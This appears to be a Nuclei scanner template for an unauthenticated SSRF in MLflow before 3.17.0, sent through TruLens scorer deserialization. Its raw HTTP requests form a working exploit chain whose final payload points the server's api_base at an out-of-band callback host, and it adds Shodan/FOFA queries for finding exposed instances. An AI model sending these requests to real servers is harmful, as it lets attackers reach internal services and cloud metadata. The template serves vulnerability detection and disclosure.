id: CVE-2026-115886 info: name: MLflow <3.17.0 - Unauthenticated SSRF via Third-Party (TruLens) Scorer author: kosoyyagent severity: medium description: | MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0rc0 until 3.17.0, the scorer invoke, register, and GenAI evaluate endpoints, including unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke, accept serialized third-party scorer data that Scorer.model_validate_json resolves using a module-path allowlist without constraining the selected class or its constructor arguments. When optional trulens and trulens-providers-litellm packages are installed, an attacker can select mlflow.genai.scorers.trulens, choose a model URI outside MLflow's native provider registry so execution uses the LiteLLM fallback, and supply api_base and api_key values that cause the server to send an outbound request to an attacker-chosen or internal host with attacker-controlled headers and body. The vulnerable deserialization occurs before a tracking-store lookup or job submission. impact: | An unauthenticated attacker can coerce the MLflow server into making outbound requests to arbitrary internal or external hosts with attacker-controlled headers, enabling access to internal services, cloud metadata endpoints, and other resources reachable from the server. remediation: | Upgrade MLflow to 3.17.0 or later, which constrains third-party scorer classes and their constructor kwargs. reference: - https://github.com/mlflow/mlflow/security/advisories/GHSA-2wqp-q3c6-ccj5 - https://github.com/mlflow/mlflow/commit/bac30b4148c4f40045b4d4db07ae60ab3838803f - https://github.com/mlflow/mlflow/pull/25890 - https://github.com/mlflow/mlflow/releases/tag/v3.17.0 - https://nvd.nist.gov/vuln/detail/CVE-2026-115886 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N cvss-score: 6.5 cve-id: CVE-2026-115886 epss-score: 0.00676 epss-percentile: 0.52408 cwe-id: CWE-470,CWE-918 metadata: verified: true max-request: 3 vendor: mlflow product: mlflow shodan-query: http.title:"MLflow" fofa-query: title="MLflow" tags: cve,cve2026,mlflow,ssrf,oast,unauth,oss,vkev variables: oid: "{{hex_encode(rand_base(16))}}" sid: "{{hex_encode(rand_base(8))}}" ikey: "{{rand_base(12)}}" http: - raw: - | POST /api/2.0/mlflow/experiments/create HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"name":"{{rand_base(10)}}"} - | POST /v1/traces HTTP/1.1 Host: {{Hostname}} Content-Type: application/json x-mlflow-experiment-id: {{eid}} {"resourceSpans":[{"resource":{"attributes":[]},"scopeSpans":[{"scope":{},"spans":[{"traceId":"{{oid}}","spanId":"{{sid}}","name":"s","kind":1,"startTimeUnixNano":"1750000000000000000","endTimeUnixNano":"1750000000000000000","attributes":[{"key":"mlflow.spanInputs","value":{"stringValue":"{\"x\":\"hi\"}"}},{"key":"mlflow.spanOutputs","value":{"stringValue":"\"a coherent response\""}},{"key":"mlflow.spanType","value":{"stringValue":"\"UNKNOWN\""}}],"status":{}}]}]}]} - | POST /ajax-api/3.0/mlflow/scorer/invoke HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"experiment_id":"{{eid}}","serialized_scorer":"{\"name\":\"Coherence\",\"third_party_scorer_data\":{\"module\":\"mlflow.genai.scorers.trulens\",\"class\":\"Coherence\",\"metric_name\":\"Coherence\",\"model\":\"openai:/gpt-4o\",\"kwargs\":{\"api_base\":\"http://{{interactsh-url}}\",\"api_key\":\"{{ikey}}\"}}}","trace_ids":["tr-{{oid}}"]} extractors: - type: regex name: eid part: body internal: true group: 1 regex: - '"experiment_id"\s*:\s*"?([0-9]+)"?' matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "http" - "dns" condition: or - type: word part: body words: - "job_id" # digest: 4a0a0047304502206ed55bc5d411ca0d5097ce359bd1e96efa99bd60b87127fd9b4a9a01fe940345022100d0e3ea186cd69999a0b25664b4e4a3e063497ff33e12e1b6398ca1ee2d012434:922c64590222798bb761d5b6d8e72950